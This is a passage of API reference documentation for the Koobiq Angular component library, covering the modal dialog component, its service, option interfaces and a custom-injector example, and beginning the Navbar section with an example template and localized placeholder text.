- `[kbqCancelClick]`: `OnClickCallback<T> | undefined` — Decision handler of the predefined Cancel button, the close button, `Escape` and the
  dim layer. Returning `false` — or a promise of `false` — keeps the dialog open.

  Bind this **or** `(kbqOnCancel)`, never both — see `kbqOkClick`.
- `[kbqGetContainer]`: `HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null` — Element or overlay the dialog is rendered into. Read once, on init.
- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.
- `kbqBeforeClose`: `EventEmitter<R | undefined>` — Emitted before the modal begins its closing animation.
- `kbqOnOk`: `EventEmitter<T>` — Emits when the predefined OK button is activated. A notification, not a decision — the dialog
  closes either way. Bind `[kbqOkClick]` instead to decide whether it closes.
- `kbqOnCancel`: `EventEmitter<T>` — Emits when the dialog is cancelled, by any of the controls `kbqCancelClick` covers. A
  notification, not a decision. Bind `[kbqCancelClick]` instead to decide whether it closes.
- `titleId`: `string` — Id of the element that names the dialog. Rendered on the title of a composed modal too.
- `captionId`: `string` — Id of the element that describes the dialog. Rendered on the caption of a composed modal too.
- `beforeClose`: `Observable<R | undefined>` — Observable alias for `kbqBeforeClose`
- `close()`: `void` — Starts the closing animation and resolves the `afterClose` contract with `result`.

  Closing an already closed dialog is a no-op: `afterClose` emits once per actual transition.

##### KbqModalTitle (component)

```ts
@Component({ selector: '[kbq-modal-title], kbq-modal-title, [kbqModalTitle]' })
class KbqModalTitle {}
```

- `[localeOverrides]`: `KbqPartialLocaleData | undefined` — Localized strings for this element and its subtree, keyed by locale section. Every key is optional at
  every depth.

#### Directives

##### KbqModalBody (directive)

Scrollable body of a manually composed modal (`kbqComponent`). Publishes its scroll-shadow
state onto the modal instance so a sibling `KbqModalTitle`/`KbqModalFooter` can render the
matching shadow, since they have no direct template reference to this element.

```ts
@Directive({ selector: '[kbq-modal-body], kbq-modal-body, [kbqModalBody]' })
class KbqModalBody {}
```

##### KbqModalFooter (directive)

```ts
@Directive({
    selector: '[kbq-modal-footer], kbq-modal-footer, [kbqModalFooter]'
})
class KbqModalFooter {}
```

##### KbqModalMainAction (directive)

```ts
@Directive({ selector: '[kbq-modal-main-action]' })
class KbqModalMainAction {}
```

#### Pipes

##### CssUnitPipe (pipe)

```ts
@Pipe({ name: 'toCssUnit' })
class CssUnitPipe implements PipeTransform {
    transform(
        value: number | string | null | undefined,
        defaultUnit?: string
    ): string | null;
}
```

- `transform()`: `string | null` — Returns `null` for a value that was never set, so the style binding it feeds is cleared.

#### Services

##### KbqModalService (service)

```ts
@Injectable({ providedIn: 'root' })
class KbqModalService {
    get openModals(): KbqModalRef[];
    get afterAllClose(): Observable<void>;
    closeAll(): void;
    create<C, R = unknown>(
        options?: IModalOptionsForService<C>
    ): KbqModalRef<C, R>;
    confirm<C, R = unknown>(
        options?: IModalOptionsForService<C>,
        confirmType?: ConfirmType
    ): KbqModalRef<C, R>;
    open<C, R = unknown>(
        options?: IModalOptionsForService<C>
    ): KbqModalRef<C, R>;
    success<C, R = unknown>(
        options?: IModalOptionsForService<C>
    ): KbqModalRef<C, R>;
    delete<C, R = unknown>(
        options?: IModalOptionsForService<C>
    ): KbqModalRef<C, R>;
}
```

- `create()`: `KbqModalRef<C, R>` — Opens a dialog. Its lifetime is bound to `options.injector` — the caller's injector when one
  is passed, the root environment injector otherwise — so destroying the opener closes it.
- `delete()`: `KbqModalRef<C, R>` — Opens a confirm dialog styled for a destructive action — the `warn` confirm type.

#### Classes

##### KbqModalRef (abstract class)

API class that public to users to handle the modal instance.
KbqModalRef is aim to avoid accessing to the modal instance directly by users.

```ts
abstract class KbqModalRef<C = any, R = unknown> {
    abstract afterOpen: Observable<void>;
    abstract beforeClose: Observable<R | undefined>;
    abstract afterClose: Observable<R | undefined>;
    abstract open(): void;
    abstract close(result?: R): void;
    abstract destroy(result?: R): void;
    abstract triggerOk(): void;
    abstract triggerCancel(): void;
    abstract getContentComponent(): C;
    abstract getElement(): HTMLElement;
    abstract getInstance(): KbqModalComponent;
    abstract markForCheck(): any;
}
```

- `triggerOk()`: `void` — Runs the OK flow exactly as the predefined OK button does: the `kbqOkClick` handler when one
  is bound, the `kbqOnOk` emitter otherwise.
- `triggerCancel()`: `void` — Runs the cancel flow exactly as the predefined Cancel button does.
- `getContentComponent()`: `C` — Return the component instance of kbqContent when specify kbqContent as a Component
  Note: this method may return undefined if the Component has not ready yet.
  (it only available after Modal's ngOnInit)
- `getElement()`: `HTMLElement` — Get the dom element of this Modal
- `getInstance()`: `KbqModalComponent` — Get the instance of the Modal itself
- `markForCheck()`: `any` — Call markForCheck for change detector

#### Types

##### AnimationState (type)

Phase of the open/close animation the dialog is in, or `null` between phases.

```ts
type AnimationState = 'enter' | 'leave' | null;
```

##### ConfirmType (type)

```ts
type ConfirmType = 'confirm' | 'success' | 'warn';
```

##### IModalButtonOptions (interface)

```ts
interface IModalButtonOptions<T = any> {
    label: string;
    type?: string;
    shape?: string;
    ghost?: boolean;
    size?: string;
    autoLoading?: boolean;
    show?: boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean);
    loading?: boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean);
    disabled?: boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean);
    autoFocus?: boolean;
    kbqModalMainAction?: boolean;
    onClick?(
        this: IModalButtonOptions<T>,
        contentComponentInstance?: T
    ): void | {} | Promise<void | {}>;
}
```

- `show?`: `boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean)` — Whether the button is rendered.

  The callable form is re-evaluated on every change-detection pass over the dialog, which is
  what lets it track state the dialog knows nothing about — so it must be cheap and free of
  side effects. `contentComponentInstance` is passed only when the body is a component.
- `loading?`: `boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean)` — Whether the button renders its progress state. Re-evaluated per pass — see `IModalButtonOptions.show`.
- `disabled?`: `boolean | ((this: IModalButtonOptions<T>, contentComponentInstance?: T) => boolean)` — Whether the button is disabled. Re-evaluated per pass — see `IModalButtonOptions.show`.

##### IModalOptionsForService (interface)

```ts
interface IModalOptionsForService<T = any> extends ModalOptions<T> {
    injector?: Injector;
    kbqModalType?: ModalType;
    kbqVisible?: boolean;
    kbqWidth?: number | string;
    kbqSize?: ModalSize;
    kbqWrapClassName?: string;
    kbqClassName?: string;
    kbqStyle?: object;
    kbqTitle?: string | TemplateRef<{}>;
    kbqCaption?: string | TemplateRef<{}>;
    kbqContent?: string | TemplateRef<{}> | Type<C>;
    kbqComponent?: Type<C>;
    kbqClosable?: boolean;
    kbqMask?: boolean;
    kbqMaskClosable?: boolean;
    kbqMaskStyle?: object;
    kbqBodyStyle?: object;
    kbqFooter?: string | TemplateRef<{}> | IModalButtonOptions<C>[];
    kbqGetContainer?: HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null;
    kbqAfterOpen?: EventEmitter<void>;
    kbqAfterClose?: EventEmitter<R>;
    kbqCloseByESC?: boolean;
    kbqRestoreFocus?: boolean;
    kbqAutoFocus?: KbqModalAutoFocus;
    kbqAriaLabel?: string;
    kbqOkText?: string;
    kbqOkType?: KbqButtonColor;
    kbqOkLoading?: boolean;
    kbqOkClick?: OnClickCallback<C>;
    kbqOnOk?: EventEmitter<C>;
    kbqCancelText?: string;
    kbqCancelLoading?: boolean;
    kbqCancelClick?: OnClickCallback<C>;
    kbqOnCancel?: EventEmitter<C>;
    data?: unknown;
}
```

- `injector?`: `Injector` — The injector used to create the component that will be attached.
  If specified, it overrides the injector provided by `KbqModalService`.

  Its `DestroyRef` also owns the dialog: the modal is torn down when the injector is destroyed.
- `kbqModalType?`: `ModalType` — Layout the dialog renders. Default is `'default'`.
- `kbqVisible?`: `boolean` — Whether the dialog is shown. Managed by the service on the imperative path.
- `kbqWidth?`: `number | string` — Explicit width, overriding the one `kbqSize` implies. A number is read as pixels.
- `kbqSize?`: `ModalSize` — Width preset. Default is `ModalSize.Medium` (640px).
- `kbqWrapClassName?`: `string` — Extra class names for the full-screen wrapper around the dialog.
- `kbqClassName?`: `string` — Extra class names for the dialog element itself.
- `kbqStyle?`: `object` — Inline styles for the dialog element.
- `kbqTitle?`: `string | TemplateRef<{}>` — Heading of the dialog. Also becomes its accessible name.
- `kbqCaption?`: `string | TemplateRef<{}>` — Secondary line under the heading. Also becomes the dialog's accessible description.
- `kbqContent?`: `string | TemplateRef<{}> | Type<C>` — Body of the dialog: text, a template or a component class.
- `kbqComponent?`: `Type<C>` — The instance of component opened into the dialog.
- `kbqClosable?`: `boolean` — Whether the header renders a close button. Default is `true`.
- `kbqMask?`: `boolean` — Whether the page behind the dialog is dimmed. Default is `true`.
- `kbqMaskClosable?`: `boolean` — Whether a click on the dim layer cancels the dialog. Default is `false`.
- `kbqMaskStyle?`: `object` — Inline styles for the dim layer.
- `kbqBodyStyle?`: `object` — Inline styles for the body element.
- `kbqFooter?`: `string | TemplateRef<{}> | IModalButtonOptions<C>[]` — Footer of the dialog: text, a template, or the buttons to render. Default modal ONLY.
- `kbqGetContainer?`: `HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null` — Element or overlay the dialog is rendered into. STATIC — read once, on init.
- `kbqAfterOpen?`: `EventEmitter<void>` — Emitter that mirrors the dialog's own open event. It is subscribed to the dialog, never
  substituted for it, so `afterOpen` on the returned `KbqModalRef` keeps working alongside.
- `kbqAfterClose?`: `EventEmitter<R>` — Emitter that mirrors the dialog's own close event. It is subscribed to the dialog, never
  substituted for it, so `afterClose` on the returned `KbqModalRef` keeps working alongside.
- `kbqCloseByESC?`: `boolean` — Whether `Escape` cancels the dialog. Default is `true`.
- `kbqRestoreFocus?`: `boolean` — Whether focus returns to the trigger when the dialog closes. Default is `true`.
- `kbqAutoFocus?`: `KbqModalAutoFocus` — Where focus lands when the dialog is shown. Default is `'first-tabbable'`.
- `kbqAriaLabel?`: `string` — Accessible name for a dialog rendered without `kbqTitle` — a confirm or a header-less dialog.
- `kbqOkText?`: `string` — Caption of the predefined OK button. The button is not rendered without it.
- `kbqOkType?`: `KbqButtonColor` — Color of the predefined OK button. Default is `KbqComponentColors.Contrast`.
- `kbqOkLoading?`: `boolean` — Whether the predefined OK button renders its progress state.
- `kbqOkClick?`: `OnClickCallback<C>` — Decision handler of the predefined OK button. Returning `false` (or a promise of `false`)
  keeps the dialog open; anything else closes it. Pair of the `kbqOnOk` output — bind one.
- `kbqOnOk?`: `EventEmitter<C>` — Emitter notified when the predefined OK button is activated. Pair of `kbqOkClick` — bind one.
- `kbqCancelText?`: `string` — Caption of the predefined Cancel button. The button is not rendered without it.
- `kbqCancelLoading?`: `boolean` — Whether the predefined Cancel button renders its progress state.
- `kbqCancelClick?`: `OnClickCallback<C>` — Decision handler of the predefined Cancel button, the close button, `Escape` and the
  dim layer. Returning `false` (or a promise of `false`) keeps the dialog open. Pair of the
  `kbqOnCancel` output — bind one.
- `kbqOnCancel?`: `EventEmitter<C>` — Emitter notified when the dialog is cancelled. Pair of `kbqCancelClick` — bind one.
- `data?`: `unknown` — Data being injected into the child component.

##### KbqModal (interface)

The members of `KbqModalComponent` the composition directives (`kbq-modal-title`,
`kbq-modal-caption`, `kbq-modal-body`, `kbq-modal-footer`) depend on. They are projected into the
dialog, so they inject this token instead of the concrete host component.

```ts
interface KbqModal {
    readonly kbqClosable: Signal<boolean>;
    readonly componentColors: typeof KbqComponentColors;
    readonly titleId: string;
    readonly captionId: string;
    readonly bodyOverflow: Signal<KbqOverflowShadowState>;
    readonly afterOpen: Observable<void>;
    onClickCloseBtn(): void;
    registerTitle(): void;
    registerCaption(): void;
    registerFooter(): void;
    setBodyOverflow(state: KbqOverflowShadowState): void;
}
```

- `kbqClosable`: `Signal<boolean>` — Whether the dialog renders a close button in its header.
- `componentColors`: `typeof KbqComponentColors` — Palette the composed header binds the close-icon color from.
- `titleId`: `string` — Id the dialog element points `aria-labelledby` at. Belongs on the rendered title element.
- `captionId`: `string` — Id the dialog element points `aria-describedby` at. Belongs on the rendered caption element.
- `bodyOverflow`: `Signal<KbqOverflowShadowState>` — Scroll-shadow state of the composed body, so the header and footer can render matching shadows.
- `afterOpen`: `Observable<void>` — Emits once the dialog is fully shown.
- `onClickCloseBtn()`: `void` — Runs the cancel flow, exactly as the templated close button does.
- `registerTitle()`: `void` — Announces that a composed title is rendered, so the dialog can use it as its accessible name.
- `registerCaption()`: `void` — Announces that a composed caption is rendered, so the dialog can use it as its description.
- `registerFooter()`: `void` — Announces that a composed footer is rendered, so the body keeps its normal bottom padding.
- `setBodyOverflow()`: `void` — Publishes the composed body's scroll-shadow state.

##### KbqModalAutoFocus (type)

Where focus lands when the dialog is shown.

`[cdkFocusInitial]` and `autofocus` inside the dialog win over every value but `false`.

- `first-tabbable` — the first tabbable control, which for a titled dialog is the close button;
- `dialog` — the dialog element itself, so a long scrollable body is read from its start;
- `first-heading` — the dialog title, falling back to the dialog element;
- `false` — nothing is focused, and the caller is responsible for moving focus into the dialog.

```ts
type KbqModalAutoFocus = 'first-tabbable' | 'dialog' | 'first-heading' | false;
```

##### ModalOptions (interface)

```ts
interface ModalOptions<C = any, R = any> {
    kbqModalType?: ModalType;
    kbqVisible?: boolean;
    kbqWidth?: number | string;
    kbqSize?: ModalSize;
    kbqWrapClassName?: string;
    kbqClassName?: string;
    kbqStyle?: object;
    kbqTitle?: string | TemplateRef<{}>;
    kbqCaption?: string | TemplateRef<{}>;
    kbqContent?: string | TemplateRef<{}> | Type<C>;
    kbqComponent?: Type<C>;
    kbqClosable?: boolean;
    kbqMask?: boolean;
    kbqMaskClosable?: boolean;
    kbqMaskStyle?: object;
    kbqBodyStyle?: object;
    kbqFooter?: string | TemplateRef<{}> | IModalButtonOptions<C>[];
    kbqGetContainer?: HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null;
    kbqAfterOpen?: EventEmitter<void>;
    kbqAfterClose?: EventEmitter<R>;
    kbqCloseByESC?: boolean;
    kbqRestoreFocus?: boolean;
    kbqAutoFocus?: KbqModalAutoFocus;
    kbqAriaLabel?: string;
    kbqOkText?: string;
    kbqOkType?: KbqButtonColor;
    kbqOkLoading?: boolean;
    kbqOkClick?: OnClickCallback<C>;
    kbqOnOk?: EventEmitter<C>;
    kbqCancelText?: string;
    kbqCancelLoading?: boolean;
    kbqCancelClick?: OnClickCallback<C>;
    kbqOnCancel?: EventEmitter<C>;
    data?: unknown;
}
```

- `kbqModalType?`: `ModalType` — Layout the dialog renders. Default is `'default'`.
- `kbqVisible?`: `boolean` — Whether the dialog is shown. Managed by the service on the imperative path.
- `kbqWidth?`: `number | string` — Explicit width, overriding the one `kbqSize` implies. A number is read as pixels.
- `kbqSize?`: `ModalSize` — Width preset. Default is `ModalSize.Medium` (640px).
- `kbqWrapClassName?`: `string` — Extra class names for the full-screen wrapper around the dialog.
- `kbqClassName?`: `string` — Extra class names for the dialog element itself.
- `kbqStyle?`: `object` — Inline styles for the dialog element.
- `kbqTitle?`: `string | TemplateRef<{}>` — Heading of the dialog. Also becomes its accessible name.
- `kbqCaption?`: `string | TemplateRef<{}>` — Secondary line under the heading. Also becomes the dialog's accessible description.
- `kbqContent?`: `string | TemplateRef<{}> | Type<C>` — Body of the dialog: text, a template or a component class.
- `kbqComponent?`: `Type<C>` — The instance of component opened into the dialog.
- `kbqClosable?`: `boolean` — Whether the header renders a close button. Default is `true`.
- `kbqMask?`: `boolean` — Whether the page behind the dialog is dimmed. Default is `true`.
- `kbqMaskClosable?`: `boolean` — Whether a click on the dim layer cancels the dialog. Default is `false`.
- `kbqMaskStyle?`: `object` — Inline styles for the dim layer.
- `kbqBodyStyle?`: `object` — Inline styles for the body element.
- `kbqFooter?`: `string | TemplateRef<{}> | IModalButtonOptions<C>[]` — Footer of the dialog: text, a template, or the buttons to render. Default modal ONLY.
- `kbqGetContainer?`: `HTMLElement | OverlayRef | (() => HTMLElement | OverlayRef) | null` — Element or overlay the dialog is rendered into. STATIC — read once, on init.
- `kbqAfterOpen?`: `EventEmitter<void>` — Emitter that mirrors the dialog's own open event. It is subscribed to the dialog, never
  substituted for it, so `afterOpen` on the returned `KbqModalRef` keeps working alongside.
- `kbqAfterClose?`: `EventEmitter<R>` — Emitter that mirrors the dialog's own close event. It is subscribed to the dialog, never
  substituted for it, so `afterClose` on the returned `KbqModalRef` keeps working alongside.
- `kbqCloseByESC?`: `boolean` — Whether `Escape` cancels the dialog. Default is `true`.
- `kbqRestoreFocus?`: `boolean` — Whether focus returns to the trigger when the dialog closes. Default is `true`.
- `kbqAutoFocus?`: `KbqModalAutoFocus` — Where focus lands when the dialog is shown. Default is `'first-tabbable'`.
- `kbqAriaLabel?`: `string` — Accessible name for a dialog rendered without `kbqTitle` — a confirm or a header-less dialog.
- `kbqOkText?`: `string` — Caption of the predefined OK button. The button is not rendered without it.
- `kbqOkType?`: `KbqButtonColor` — Color of the predefined OK button. Default is `KbqComponentColors.Contrast`.
- `kbqOkLoading?`: `boolean` — Whether the predefined OK button renders its progress state.
- `kbqOkClick?`: `OnClickCallback<C>` — Decision handler of the predefined OK button. Returning `false` (or a promise of `false`)
  keeps the dialog open; anything else closes it. Pair of the `kbqOnOk` output — bind one.
- `kbqOnOk?`: `EventEmitter<C>` — Emitter notified when the predefined OK button is activated. Pair of `kbqOkClick` — bind one.
- `kbqCancelText?`: `string` — Caption of the predefined Cancel button. The button is not rendered without it.
- `kbqCancelLoading?`: `boolean` — Whether the predefined Cancel button renders its progress state.
- `kbqCancelClick?`: `OnClickCallback<C>` — Decision handler of the predefined Cancel button, the close button, `Escape` and the
  dim layer. Returning `false` (or a promise of `false`) keeps the dialog open. Pair of the
  `kbqOnCancel` output — bind one.
- `kbqOnCancel?`: `EventEmitter<C>` — Emitter notified when the dialog is cancelled. Pair of `kbqCancelClick` — bind one.
- `data?`: `unknown` — Data being injected into the child component.

##### ModalType (type)

```ts
type ModalType = 'default' | 'confirm' | 'custom';
```

##### OnClickCallback (type)

```ts
type OnClickCallback<T> = (instance: T) => (false | void | {}) | Promise<false | void | {}>;
```

#### Enums

##### ModalSize (enum)

```ts
enum ModalSize {
    Small = 'small',
    Medium = 'medium',
    Large = 'large'
}
```

#### Constants

##### KBQ_MODAL (const)

Injection token exposing the dialog to the directives composed inside it.

```ts
const KBQ_MODAL: InjectionToken<KbqModal>;
```

##### KBQ_MODAL_DATA (const)

Injection token that can be used to access the data that was passed in to a modal.

```ts
const KBQ_MODAL_DATA: InjectionToken<unknown>;
```

### Examples

#### Custom Injector for Modal Component

A component passed as `kbqComponent` is created from the **root** environment injector, not from the component that called `KbqModalService`. Anything the caller provides itself is therefore invisible inside the modal: component-level services, tokens from a route or a lazily loaded module, and providers that reach the caller only through NgModules listed in its standalone `imports` — `DateAdapter`, `KBQ_DATE_FORMATS` and `DateFormatter` among them.

To make them available, pass the caller's `injector` to `modalService.open`; it becomes the parent of the modal content's injection hierarchy. Content passed as a `TemplateRef` is unaffected — it keeps the injector of the component that declared it.

A missing dependency surfaces as `NullInjectorError: No provider for …`, thrown while the modal content is being created.

**Example: Modal component With Injector** (`modal-component-with-injector`)

```ts modal-component-with-injector-example.ts
import { ChangeDetectionStrategy, Component, inject, Injectable, Injector } from '@angular/core';
import { KbqButtonModule } from '@koobiq/components/button';
import { KbqModalModule, KbqModalRef, KbqModalService } from '@koobiq/components/modal';

@Injectable()
export class ComponentLevelService {
    action() {
        console.log('Hello world!');
    }
}

@Component({
    selector: 'custom-modal',
    imports: [
        KbqModalModule,
        KbqButtonModule
    ],
    template: `
        <kbq-modal-title>title</kbq-modal-title>
        <kbq-modal-body>subtitle</kbq-modal-body>

        <div kbq-modal-footer>
            <button kbq-button [color]="'contrast'" (click)="customService.action()">
                Call method from injected service
            </button>
            <button kbq-button autofocus (click)="destroyModal('close')">Close</button>
        </div>
    `,
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class CustomModalComponent {
    private readonly modalRef = inject(KbqModalRef);
    protected readonly customService = inject(ComponentLevelService);

    destroyModal(action: 'save' | 'close') {
        this.modalRef.destroy(action);
    }
}

@Component({
    selector: 'modal-component-with-injector-example',
    imports: [KbqButtonModule],
    template: `
        <button kbq-button (click)="openModal()">Open Modal</button>
    `,
    providers: [ComponentLevelService],
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class ModalComponentWithInjectorExample {
    private readonly modalService = inject(KbqModalService);
    private readonly injector = inject(Injector);

    modalRef: KbqModalRef<CustomModalComponent, 'save' | 'close'>;

    openModal(): void {
        this.modalRef = this.modalService.open({
            kbqComponent: CustomModalComponent,
            // provide injector, so `ComponentLevelService` will be accessible inside `CustomModalComponent`
            injector: this.injector
        });

        this.modalRef.afterOpen.subscribe(() => {
            console.log('[afterOpen] emitted!');
        });

        this.modalRef.afterClose.subscribe((action) => {
            console.log(`[afterClose] emitted, chosen action: ${action}`);
        });
    }
}
```

## Navbar

- Entry point: `@koobiq/components/navbar`
- NgModule: `KbqNavbarModule`
- Page: https://koobiq.io/en/components/navbar/overview

### Overview

The main menu allows for product navigation. It consists of a logo and section links. You can also add an application switch, main action button, notification center, and search.

You can place the menu at the top or to the left. Both options have their advantages. Select the one that suits your product better.

#### Horizontal menu

The menu uses the top row and allows content to occupy the full screen width. The horizontal menu works better with three or more columns. The main menu is pinned to the top and remains visible when you scroll content: place it outside the scrolling area.

**Example: Navbar** (`navbar-overview`)

```ts navbar-overview-example.ts
import { ChangeDetectionStrategy, Component } from '@angular/core';
import { KbqBadgeModule } from '@koobiq/components/badge';
import { KbqButtonModule } from '@koobiq/components/button';
import { PopUpPlacements } from '@koobiq/components/core';
import { KbqDividerModule } from '@koobiq/components/divider';
import { KbqDropdownModule } from '@koobiq/components/dropdown';
import { KbqIconModule } from '@koobiq/components/icon';
import { KbqNavbarModule } from '@koobiq/components/navbar';
import { injectExampleText } from '../localized-data';

@Component({
    selector: 'navbar-overview-example',
    imports: [
        KbqDropdownModule,
        KbqDividerModule,
        KbqNavbarModule,
        KbqButtonModule,
        KbqBadgeModule,
        KbqIconModule
    ],
    templateUrl: 'navbar-overview-example.html',
    changeDetection: ChangeDetectionStrategy.OnPush
})
export class NavbarOverviewExample {
    protected readonly text = injectExampleText();

    popUpPlacements = PopUpPlacements;
}
```

```html navbar-overview-example.html
<kbq-dropdown #horizontalNavbarDropdownApps="kbqDropdown">
    @for (app of text().apps; track $index) {
        <button kbq-dropdown-item>{{ app }}</button>
    }
</kbq-dropdown>

<kbq-dropdown #horizontalNavbarTasks="kbqDropdown">
    <button kbq-dropdown-item>{{ text().taskStatuses.open }}</button>
    <button kbq-dropdown-item>{{ text().taskStatuses.inProgress }}</button>
    <button kbq-dropdown-item>{{ text().taskStatuses.done }}</button>
    <button kbq-dropdown-item>{{ text().taskStatuses.canceled }}</button>
</kbq-dropdown>

<kbq-dropdown #horizontalNavbarProfile="kbqDropdown">
    <button kbq-dropdown-item>{{ text().profileMenu.settings }}</button>
    <kbq-divider />
    <button kbq-dropdown-item>{{ text().administration }}</button>
    <button kbq-dropdown-item>{{ text().profileMenu.users }}</button>
    <kbq-divider />
    <button kbq-dropdown-item>{{ text().profileMenu.downloadApp }}</button>
    <kbq-divider />
    <button kbq-dropdown-item>{{ text().profileMenu.switchTenant }}</button>
    <button kbq-dropdown-item>{{ text().profileMenu.logOut }}</button>
</kbq-dropdown>

<kbq-navbar>
    <kbq-navbar-container>
        <kbq-navbar-item
            #horizontalNavbarDropdownAppsDropdownTrigger="kbqDropdownTrigger"
            bento
            [class.kbq-active]="horizontalNavbarDropdownAppsDropdownTrigger.opened"
            [kbqDropdownTriggerFor]="horizontalNavbarDropdownApps"
            [kbqPlacement]="popUpPlacements.BottomLeft"
            [tooltipText]="text().allApps"
            [kbqTrigger]="'hover'"
        >
            <i kbq-icon="kbq-bento-menu_16" color="contrast"></i>
        </kbq-navbar-item>

        <a href="#" kbq-navbar-brand>
            <kbq-navbar-logo>
                <!-- prettier-ignore -->
                <svg fill="none" height="32" viewBox="0 0 32 32" width="32" xmlns="http://www.w3.org/2000/svg"><path clip-rule="evenodd" d="M0 25.6C0 28.4045 0 29.9635 1.01826 30.9817C2.03651 32 3.59554 32 6.4 32H25.6C28.4045 32 29.9635 32 30.9817 30.9817C32 29.9635 32 28.4045 32 25.6V6.4C32 3.59554 32 2.03651 30.9817 1.01826C29.9635 0 28.4045 0 25.6 0H6.4C3.59554 0 2.03651 0 1.01826 1.01826C0 2.03651 0 3.59554 0 6.4V25.6Z" fill="#FF0000" fill-rule="evenodd"/><path d="M14.9774 16L11.1933 19.7841L7.40918 16L11.1933 12.267L14.9774 16ZM19.7842 20.858L16.0512 24.5909L12.2671 20.858L16.0512 17.0739L19.7842 20.858ZM19.7842 11.1932L16.0512 14.9261L12.2671 11.1932L16.0512 7.40909L19.7842 11.1932ZM24.591 16L20.858 19.7841L17.1251 16L20.858 12.267L24.591 16Z" fill="white"/></svg>
            </kbq-navbar-logo>
            <kbq-navbar-title>{{ text().appName }}</kbq-navbar-title>
        </a>

        <button
            kbq-navbar-item
            class="kbq-active"
            [kbqPlacement]="popUpPlacements.Bottom"
            [tooltipText]="text().dashboards"
        >
            <i kbq-icon="kbq-dashboard_16" color="contrast"></i>
        </button>

        <kbq-navbar-item
            #horizontalNavbarTasksDropdownTrigger="kbqDropdownTrigger"
            [class.kbq-active]="horizontalNavbarTasksDropdownTrigger.opened"
            [collapsable]="false"
            [kbqDropdownTriggerFor]="horizontalNavbarTasks"
        >
            <kbq-navbar-title>{{ text().tasks }}</kbq-navbar-title>
        </kbq-navbar-item>

        <kbq-navbar-item>
            <kbq-navbar-title>{{ text().projects }}</kbq-navbar-title>
        </kbq-navbar-item>

        <kbq-navbar-item>
            <button kbq-button [color]="'contrast'">
                <span>{{ text().newTask }}</span>
            </button>
        </kbq-navbar-item>
    </kbq-navbar-container>

    <kbq-navbar-container>
        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().notifications">
            <i kbq-icon="kbq-bell_16" color="contrast"></i>
            <kbq-badge [badgeColor]="'error'" [compact]="true">5</kbq-badge>
        </kbq-navbar-item>

        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().administration">
            <i kbq-icon="kbq-gear_16" color="contrast"></i>
        </kbq-navbar-item>

        <kbq-navbar-divider />

        <kbq-navbar-item [kbqPlacement]="popUpPlacements.Bottom" [tooltipText]="text().help">
            <i kbq-icon="kbq-magnifying-glass_16" color="contrast"></i>
        </kbq-navbar-item>

        <kbq-navbar-item
            #horizontalNavbarProfileDropdownTrigger="kbqDropdownTrigger"
            [class.kbq-active]="horizontalNavbarProfileDropdownTrigger.opened"
            [kbqDropdownTriggerFor]="horizontalNavbarProfile"
            [kbqPlacement]="popUpPlacements.BottomLeft"
            [tooltipText]="text().profile"
            [kbqTrigger]="'hover'"
        >
            <i kbq-icon="kbq-user_16" color="contrast"></i>
        </kbq-navbar-item>
    </kbq-navbar-container>
</kbq-navbar>
```

```ts ../localized-data.ts
import { computed, Signal } from '@angular/core';
import { kbqInjectLocaleService } from '@koobiq/components/core';

/** Resolves `data` for the active locale of the examples, falling back to `default` (English). */
export const injectLocalizedText = <T>(data: Record<string, T> & { default: T }): Signal<T> => {
    const localeService = kbqInjectLocaleService({ optional: true });

    return computed(() => data[localeService?.localeId() ?? 'default'] ?? data.default);
};

/** Text shown by the navbar examples. */
export interface ExampleText {
    allApps: string;
    /** Applications listed in the "all apps" menu. */
    apps: string[];
    appName: string;
    longAppName: string;
    dashboards: string;
    tasks: string;
    projects: string;
    newTask: string;
    documentation: string;
    more: string;
    point: (index: number) => string;
    notifications: string;
    administration: string;
    help: string;
    profile: string;
    taskStatuses: { open: string; inProgress: string; done: string; canceled: string };
    profileMenu: { settings: string; users: string; downloadApp: string; switchTenant: string; logOut: string };
    /** Placeholder text of the page next to the vertical navbar. */
    pageText: string[];
}

/** Text of the examples in the active locale. */
export const injectExampleText = (): Signal<ExampleText> =>
    injectLocalizedText<ExampleText>({
        'ru-RU': {
            allApps: 'Все приложения',
            apps: ['Управление пользователями', 'База знаний', 'Секретные заметки'],
            appName: 'Название приложения',
            longAppName: 'Очень длинное название меню с переносом строки и усечением многоточием',
            dashboards: 'Дашборды',
            tasks: 'Задачи',
            projects: 'Проекты',
            newTask: 'Новая задача',
            documentation: 'Документация',
            more: 'Еще',
            point: (index) => `Пункт ${index}`,
            notifications: 'Уведомления',
            administration: 'Администрирование',
            help: 'Справка',
            profile: 'Профиль',
            taskStatuses: { open: 'Открытые', inProgress: 'В работе', done: 'Выполненные', canceled: 'Отмененные' },
            profileMenu: {
                settings: 'Настройки',
                users: 'Пользователи',
                downloadApp: 'Скачать приложение',
                switchTenant: 'Сменить тенант',
                logOut: 'Выход'
            },
            pageText: [
                'Целое число в принципе поддерживает скачок функции. Полином отражает экспериментальный разрыв функции, что неудивительно. Интеграл от функции, имеющий конечный разрыв расточительно специфицирует предел функции, таким образом сбылась мечта идиота — утверждение полностью доказано. Интеграл Пуассона развивает интеграл Фурье. Неопределенный интеграл категорически соответствует расходящийся ряд. Не факт, что функция многих переменных по‑прежнему востребована.',
                'К тому же график функции усиливает тригонометрический интеграл по поверхности. Правда, некоторые специалисты отмечают, что неравенство Бернулли обуславливает действительный расходящийся ряд. Тем не менее, неопределенный интеграл раскручивает разрыв функции.',
